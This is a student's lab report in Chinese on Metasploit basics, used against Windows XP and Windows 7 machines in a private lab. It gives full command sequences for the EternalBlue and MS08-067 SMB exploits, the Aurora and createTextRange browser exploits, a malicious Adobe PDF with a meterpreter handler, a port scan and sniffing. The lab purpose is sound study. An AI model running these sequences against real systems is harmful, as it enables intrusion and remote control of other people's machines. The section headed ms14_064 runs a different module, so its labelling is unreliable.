网络对抗实验六 MSF应用基础
Exp6 MSF应用基础
实验目标
1.1一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
1.4 成功应用任何一个辅助模块。(1分)
实验内容
0 实验准备
0.1 实验原理
0.1.1 MSF简介
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
0.1.2 程序特点
这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中有着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
0.1.3 七大模块
进入/usr/share/metasploit-framework/modules/exploits即可看到7个模块,其中evasion是在msf5中更新的,信息比较少
- Exploit模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件,形象的说就是攻击模块。
- Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- Encoder模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征。Encoder不改变payload作用,但能对payload进行加工。
- Aux模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
- Post模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置。
- evasion模块
对攻击载荷进行”免杀”处理。
0.1.4 常用命令
- search name :用指定关键字搜索可以利用的漏洞模块
- use exploit name :使用漏洞
- show options :显示配置选项
- set TARGET target number :设置目标版本
- exploit :开始漏洞攻击
- sessions -l :列出会话
- sessions -i id :选择会话
- sessions -k id :结束会话
- Ctrl+z :把会话放到后台
- Ctrl+c :结束会话
0.2 基础问题回答
解释什么是exploit,payload,encode。
- exploit是载具,连接漏洞,将payload传送到靶机中。
- payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
1 靶机下载
参考博客:Exp6 MSF应用基础 - 20201202史婧怡 - 博客园 (cnblogs.com)
Windows XP下载成功:
ip地址:192.168.162.133
windows 7下载成功:
关闭win7靶机防火墙
打开445端口
新建防火墙规则,一路next
设置完成
查看靶机IP地址
靶机IP地址为169.254.18.215
下载chrome
2 主动攻击实践
查看版本
msfconsole
search scanner/smb/smb
use 7
show options
set rhosts 192.168.253.136
run
查找对应利用漏洞模块
search exploit/windows/smb/
2.1 MS08-067远程溢出漏洞实践(shell)
- Ms08_067_netapi在Metasploit中应该算是很老牌的溢出攻击荷载,使用它进行攻击可以取得一个相对比较高的系统权限。
- 攻击机: kali 192.168.162.130
- 靶机:winXP 192.168.162.133
查看两台主机网络是否互通,xp ping kali,发现网络是互通的。
攻击者试探靶机是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.162.133
存在漏洞
启动 msfconsole
,输入search ms08_067
查找该漏洞使用的攻击模块,攻击模块为exploit/windows/smb/ms08_067_netapi
输入info exploit/windows/smb/ms08_067_netapi
查看模块具体的信息。
输入
use exploit/windows/smb/ms08_067_netapi //选择使用的渗透模块 set payload generic/shell_reverse_tcp //使用的payload
set RHOSTS 192.168.162.133 //设置靶机IP
结果是能够发现靶机的型号,但无法建立连接。显示渗透已完成,但没有建立会话。换了多个攻击模块和payload都是一样的问题。
2.2 ms17_010_eternalblue
- 攻击机 kali 192.168.162.130
- 靶机 win7 169.254.18.215
Step1:攻击机探测靶机是否存在该漏洞
- 输入命令
nmap -sS -A --script=smb-vuln-ms17-010 -PO -Pn 169.254.18.215
可以查看靶机信息和漏洞信息
Step2:攻击机查看靶机是否存在该漏洞
- 同上,输入以下命令:
msfconsole
use auxiliary/scanner/smb/smb_ms17_010 //选择本次攻击漏洞
set RHOSTS 169.254.18.215 //设置靶机IP
exploit //扫描靶机扫描,查看靶机是否存在本漏洞
如图所示,靶机存在漏洞
Step3:攻击机开始攻击
-
输入以下命令:
-
use exploit/windows/smb/ms17_010_eternalblue //选择该漏洞 set payload windows/x64/meterpreter/reverse_tcp //设置本次攻击的载荷 set RHOSTS 169.254.18.215 //设置靶机IP exploit //开始攻击
3 针对浏览器的攻击
3.1 ms14_064
- 攻击机 kali 192.168.162.130
- 靶机 winxp 192.168.162.133
设计攻击模块及参数
输入:
use exploit/windows/browser/ms06_013_createtextrange //选择使用exploit漏洞
set payload windows/meterpreter/reverse_tcp //选择payload
show options //查看所需调的参数
exploit //开始攻击
如图
在XP的IE浏览器打开http://192.168.162.130:8080/OIRg4hrF7sROm
,浏览器开始从0-100计时。
3.2 ms_10_002(Aurora攻击)
- 攻击机 kali 192.168.162.130
- 靶机 winxp 192.168.162.133
输入:
use exploit/windows/browser/ms10_002_aurora
//利用meatasploit的Aurora模块攻击xp主机的浏览器并控制主机
show options
set srvhost 192.168.162.130 //设置服务器的本地IP,也就是kali的IP
set srvport 1329 //设置服务器本地的端口,默认值8080
set payload windows/meterpreter/reverse_tcp //设置载荷
exploit //开始攻击
sessions -i 1 //切换到meterpreter会话
这时会生成一个url,靶机端输入刚刚生成的URL,kali成功建立会话,获取信息。
成功
4 针对客户端的攻击
4.1 Adobe
- 攻击机 kali 192.168.162.130
- 靶机 winxp 192.168.162.133
输入:
msfconsole
search adobe //查找Adobe漏洞
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
set LHOST 192.168.162.130 //设置监听IP
set LPORT 1329 //设置监听端口
set FILENAME 20201329wh.pdf //设置文件名
exploit //攻击
- 可以看到,攻击机生成了 20201329wh.pdf 这个文件并保存在 /root/.msf4/local 路径下
- kali下输入
cp /root/.msf4/local/20201329wh.pdf 20201329wh.pdf
将文件拷贝至当前目录 - 直接将文件拖入靶机
-
kali中输入以下命令开始监听:
-
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看详细信息 set RHOST 192.168.162.133 //设置靶机IP地址 set LPORT 1329 //设置端口号 exploit //开始攻击
在靶机中打开刚才的pdf文件
成功!
5 成功应用任何一个辅助模块
5.1 portscan(端口扫描)
- 攻击机 kali 192.168.162.130
- 靶机 winxp 192.168.162.133
对XP主机进行TCP端口扫描。
use auxiliary/scanner/portscan/tcp // 选择tcp脚本
show options //查看需要调的参数
set Rhosts 192.168.162.133 //设置靶机IP
exploit
5.2 嗅探:auxiliary/sniffer/psnuffle
嗅探:可以获取网络上流经的数据包。
kali中输入:
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit
在靶机上访问IE浏览器,即被嗅探到,结果如图。
问题与解决
1.输入命令后没有显示
解决:
输入命令nmap -sS -A --script=smb-vuln-ms17-010 -PO -Pn 169.254.18.215
实验体会与感想
本次实验时间跨度较长,在经历假期之后回来完成实验导致实验大概步骤和原理忘得差不多了,实验难点还是在理解原理和寻找攻击方法上。
最开始进行主动攻击的时候不太清楚设置参数怎么设置,一直在重复输入代码,多亏了已经做完实验的同学和负责人的相关帮助和提醒,我能够绕过一些容易出现错误的攻击方式。同时也认识到自己对这方面知识的不了解,还得不断提高。
离实战还缺些什么技术或步骤?
在实验中我们进行攻击的靶机都还是比较古老、距今历史较久一点的windows主机,当时的电脑系统不够完善,到如今发展更完善了,就能够防御更多攻击。而现在的主机我们并不知道在什么方面有什么漏洞,针对性不强,要加强电脑系统各个方面的防御能力才能保护系统安全性。